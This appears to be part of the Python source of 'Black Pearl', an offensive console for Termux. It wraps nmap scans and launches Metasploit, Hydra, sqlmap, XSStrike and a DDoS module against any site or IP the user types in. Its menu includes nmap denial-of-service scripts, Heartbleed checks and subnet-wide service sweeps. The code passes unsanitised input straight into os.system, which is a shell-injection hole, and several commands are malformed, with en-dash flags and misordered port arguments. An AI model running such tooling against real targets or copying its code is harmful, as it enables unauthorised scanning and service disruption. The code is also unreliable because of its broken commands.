		os.system("nmap  " + ips)
		nmap()
	elif nm == '2':
		ips = input("Enter Site/IP : ")
		os.system("nmap -open  " + ips)
		nmap()
	elif nm == '3':
		ips = input("Enter Site/IP : ")
		os.system("nmap  " + ips + '/24')
		nmap()
	elif nm == '5':
		ips = input("Enter Site/IP : ")
		os.system("nmap -F  " + ips)
		nmap()
	elif nm == '4':
		ips = input("Enter Site/IP : ")
		os.system("nmap -p 1-100  " + ips)
		nmap()
	elif nm == '6':
		ips = input("Enter Site/IP : ")
		os.system("nmap -p-  " + ips)
		nmap()
	elif nm == '7':
		ips = input("Enter Site/IP : ")
		os.system("nmap -sT  " + ips)
		nmap()
	elif nm == '8':
		ips = input("Enter Site/IP : ")
		os.system("nmap -sS  " + ips)
		nmap()
	elif nm == '9':
		ips = input("Enter Site/IP : ")
		os.system("nmap -sU -p 123,161,162   " + ips)
		nmap()
	elif nm == '10':
		ips = input("Enter Site/IP : ")
		os.system("nmap -A  " + ips)
		nmap()
	elif nm == '11':
		ips = input("Enter Site/IP : ")
		os.system("nmap -sV  " + ips)
		nmap()
	elif nm == '12':
		ips = input("Enter Site/IP : ")
		os.system("nmap -sV  " + ips)
		nmap()
	elif nm == '13':
		ips = input("Enter Site/IP : ")
		os.system("nmap -sV --version-intensity 0  " + ips)
		nmap()
	elif nm == '14':
		ips = input("Enter Site/IP : ")
		os.system("nmap -sV -sC  " + ips)
		nmap()
	elif nm == '15':
		ips = input("Enter Site/IP : ")
		os.system("nmap -sV -p 443 –script=ssl-heartbleed.nse  " + ips)
		nmap()
	elif nm == '16':
		ips = input("Enter Site/IP : ")
		os.system("nmap -sV --script=smb*   " + ips)
		nmap()
	elif nm == '17':
		ips = input("Enter Site/IP : ")
		os.system("nmap –sU –A –PN –n –pU:19,53,123,161 –script=ntp-monlist,dns-recursion,snmp-sysdescr  " + ips + '/24')
		nmap()
	elif nm == '18':
		ips = input("Enter Site/IP : ")
		os.system("nmap --script=http-title  " + ips)
		nmap()
	elif nm == '19':
		ips = input("Enter Site/IP : ")
		os.system("nmap -sV -p 443 --script=ssl-heartbleed  " + ips +'/24')
		nmap()
	elif nm == '20':
		ips = input("Enter Site/IP : ")
		os.system("nmap -sR  " + ips)
		nmap()
	elif nm == '21':
		ran = input("Enter range : ")
		ips = input("Enter Site/IP : ")
		os.system("nmap  " + ips + ' -' + ran)
		nmap()
	elif nm == '22':
		ips = input("Enter Site/IP : ")
		os.system("nmap -PN " + ips)
		nmap()
	elif nm == '23':
		port = input("Enter Port : ")
		ips = input("Enter Site/IP : ")
		os.system("nmap -p  " + ips + port)
		nmap()
	elif nm == '24':
		port = input("Enter Port1 : ")
		port2 = input("Enter Port2 : ")
		ips = input("Enter Site/IP : ")
		os.system("nmap -p  " + ips + ',' + port + port2)
		nmap()
	elif nm == '25':
		ips = input("Enter Site/IP : ")
		os.system("nmap --script dos -Pn  " + ips)
		nmap()
	elif nm == 'back':
		os.system("clear")
		main()
	elif nm == 'help':
		print(" \n This is an automater for port scanning ,vulnerability scanning,finding sys info ,etc. \n back - To go back to pearl console ")
		nmap()
	else:
		print('[!] Invalid Input')
		print('[!] Try Again')
		time.sleep(1)
		os.system("clear")
		nmap()
	
def main():
  	 global r
  	 global w
  	 print()
  	 i = input("[pearl~> ")
  	 if i == 'msf':
  	 	print("Opening Metasploit Automater")
  	 	time.sleep(2)
  	 	msf()
  	 elif i == 'nmap':
  	 	print("Opening Network Mapper Automater")
  	 	time.sleep(2)
  	 	nmap()
  	 elif i == 'hydra':
  	 	print("Opening Hydra Automater")
  	 	hydra()
  	 elif i == 'ddos':
  	 	print("Opening DDOS Automater")
  	 	time.sleep(2)
  	 	ddos()
  	 elif i == 'xss':
  	 	print("Opening XSStrike Automater")
  	 	time.sleep(2)
  	 	xss()
  	 elif i == 'help':
  	 	print("This is an automater for various main exploiting frameworks and scanning frameworks. \n Use : \n msf - To open metasploit framework automater \n hydra - To open hydra bruteforce automater \n sql - To open sqlmap website penetration automater \n ddos - To open powerful DDOS automater \n info - To open information gathering automater \n nmap - To open network mapper automater \n wl - To open custom wordlist maker \n exit - To exit from pearl console \n update - To update this this framework \n about - To know more about us \n")
  	 	main()
  	 elif i == 'exit':
  	 	print("From Fraternity InfoSec")
  	 	print("https://blackpearlframework.weebly.com")
 	  	sys.exit(1)
  	 elif i == 'about':
  	 	delay_print("This is just a project from the Fraternity.This is made for penetration testing in termux. This is only for educational purposes only. We are not responsible for any illegal activities.For any issues or errors contact us on our email Cipherweb777@gmail.com or use our website blackpearlframework.weebly.com . Use 'help' command to get any help in using this project") 
  	 	main() 
  	 elif i == 'clear':
  	 	main()
  	 elif i == 'sql':
  	 	print("Opening Sqlmap Automater")
  	 	sql()
  	 elif i == 'info':
  	 	info()
  	 else:
  	 	print("[!] Invalid Input")
  	 	main()
def mainmenu():
	randomlogo()
	sprint(banner)
	os.system("espeak welcometoblackpearlframework")
	main()
mainmenu()
